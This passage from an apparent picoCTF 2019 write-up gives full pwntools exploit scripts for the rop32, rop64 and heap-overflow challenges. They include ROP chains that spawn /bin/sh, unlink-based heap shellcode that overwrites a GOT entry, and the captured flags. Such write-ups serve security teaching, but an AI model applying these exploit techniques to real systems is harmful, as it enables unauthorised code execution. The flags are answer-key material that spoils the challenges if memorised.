p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x080da060) # padding without overwrite ebx
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x08049563) # int 0x80
sh.sendlineafter('?\n', p)
sh.interactive()
flag: picoCTF{rOp_t0_b1n_sH_cb4c373e}
rop64
Problem
Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64_5_7608f52be26a84e5625c50ba7adb22e0 on the shell server. Source.
Solution
Same approach as rop32.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/rop64_5_7608f52be26a84e5625c50ba7adb22e0')
REMOTE = True
# ROPgadget --binary ./vuln --rop --badbytes "0a"
from struct import pack
p = 'a'*(16+8)
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004156f4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x00000000004499b5) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000449135) # syscall ; ret
sh.sendlineafter('?\n', p)
sh.interactive()
flag: picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_cfc72366}
Heap overflow
Problem
Just pwn this using a heap overflow taking advantage of douglas malloc free program and get a flag. Its also found in /problems/heap-overflow_5_39d709fdc06b81d3c23b73bb9cca6bdb on the shell server. Source.
Solution
Another challenge that is solved with the unlink method just like Afterlife and Secondlife. The difference is that this time we need a bit more finessing.
To make sure we trigger the unlink mechanics, we need to do two things: 1. change the size of the lastname
chunk so it would be treated as a smallbin instead of a fastbin 2. fake a freed chunk after lastname
that would be unlinked when merged with the lastname
chunk.
The stack layout would look something like this:
- fullname <– contains our shellcode
- name <– untouched
- lastname <– now with a size of 0x100 so it would be treated as a smallbin
- a fake free chunk added that have the
fd_ptr
andbf_ptr
set
When lastname is freed, it will try to merge with neighboring chunks which would trigger the unlink.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/heap-overflow_5_39d709fdc06b81d3c23b73bb9cca6bdb')
REMOTE = True
print sh.recvline()
leak = int(sh.recvline())
print hex(leak)
exit_got = 0x0804d02c
shellcode = 'a'*8
shellcode += asm('''
jmp sc
{}
sc:
nop
'''.format('nop\n'*100)+shellcraft.i386.linux.sh())
shellcode = shellcode.ljust(0x2a0-0x4)
shellcode += p32(0x49).ljust(0x48)
shellcode += p32(0x101)
sh.sendlineafter('fullname\n', shellcode)
fake_chunk = p32(0x101)
fake_chunk += p32(exit_got-12)
fake_chunk += p32(leak+8)
fake_chunk = fake_chunk.ljust(0x100-0x4)+p32(0x101)
payload = 'a'*(0x100-4)+fake_chunk
sh.sendlineafter('lastname\n', payload)
sh.interactive()
flag: picoCTF{a_s1mpl3_h3ap_69424381}